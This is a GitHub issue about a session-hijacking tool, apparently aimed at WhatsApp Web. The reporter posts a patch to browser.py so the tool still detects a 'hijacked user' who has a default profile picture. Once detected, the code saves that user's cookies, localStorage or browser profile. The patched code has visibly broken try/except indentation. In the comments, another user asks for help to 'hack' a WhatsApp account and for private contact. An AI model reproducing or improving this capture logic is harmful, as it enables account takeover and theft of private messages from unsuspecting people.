Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

If user has no profile picture the change_identifier is different and wouldn't work [Made temp fix] #236

Open
danieldev-gh opened this issue Jan 6, 2024 · 2 comments

Comments

@danieldev-gh
Copy link

danieldev-gh commented Jan 6, 2024

when the hijacked user's profile picture is the default, its not an img element and the xPath is different
its this:
/html/body/div[1]/div/div[2]/div[3]/header/div[1]/div/div/span
instead of this
/html/body/div[1]/div/div/div[4]/header/div[1]/div/img

I made a temporary fix in browser.py

try: 
    identifier = controller.find_element(By.XPATH, change_identifier)
    if identifier:
        # If the identifier is found the attack has 
        # been successful
        print()
        status(f"Got session on {module_name} module")
        if session_type.lower() == "localstorage":
            self.save_localstorage(module_name)
        elif session_type.lower() == "cookies":
            self.save_cookie(module_name)
        else:
            self.save_profile(module_name)
    
        if Settings.verbose:
            status("Resetting browser cookies and localStorage to start over..")
        
        if not session_type.lower() == "profile":
            controller.delete_all_cookies()
            controller.execute_script("window.localStorage.clear()")
            controller.refresh()
            if Settings.verbose:
                status("Session reset successfully")
            time.sleep(5)
        else:
             # Identifier found! Can now close the
             # session and stop listening
            self.close_job(module_name)
            self.close_all()
    else:
        time.sleep(5)
    except:
    # Identifier not found: wait end continue listening
    try:
        identifier2 = controller.find_element(By.XPATH, "/html/body/div[1]/div/div[2]/div[3]/header/div[1]/div/div/span")
        if identifier2:
            # If the identifier is found the attack has 
            # been successful
            print()
            status(f"Got session on {module_name} module")
            if session_type.lower() == "localstorage":
                self.save_localstorage(module_name)
            elif session_type.lower() == "cookies":
                self.save_cookie(module_name)
            else:
                self.save_profile(module_name)
    
            if Settings.verbose:
                status("Resetting browser cookies and localStorage to start over..")
            
            if not session_type.lower() == "profile":
                controller.delete_all_cookies()
                controller.execute_script("window.localStorage.clear()")
                controller.refresh()
                if Settings.verbose:
                    status("Session reset successfully")
                time.sleep(5)
            else:
                # Identifier found! Can now close the
                # session and stop listening
                self.close_job(module_name)
                self.close_all()
        else:
            time.sleep(5)
    except:
        time.sleep(5)

I had the same issue as #206

@danieldev-gh danieldev-gh changed the title If user has no profile picture the change_identifier is different and wouldn't work If user has no profile picture the change_identifier is different and wouldn't work [Made temp fix] Jan 6, 2024
@dr1408
Copy link

dr1408 commented Jan 17, 2024

Sir I tried to hack my whatsapp I'm using a profile pic + I didn't do your edit yet still no session captured?

@dr1408
Copy link

dr1408 commented Jan 21, 2024

Sir i need your help can i contact you

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants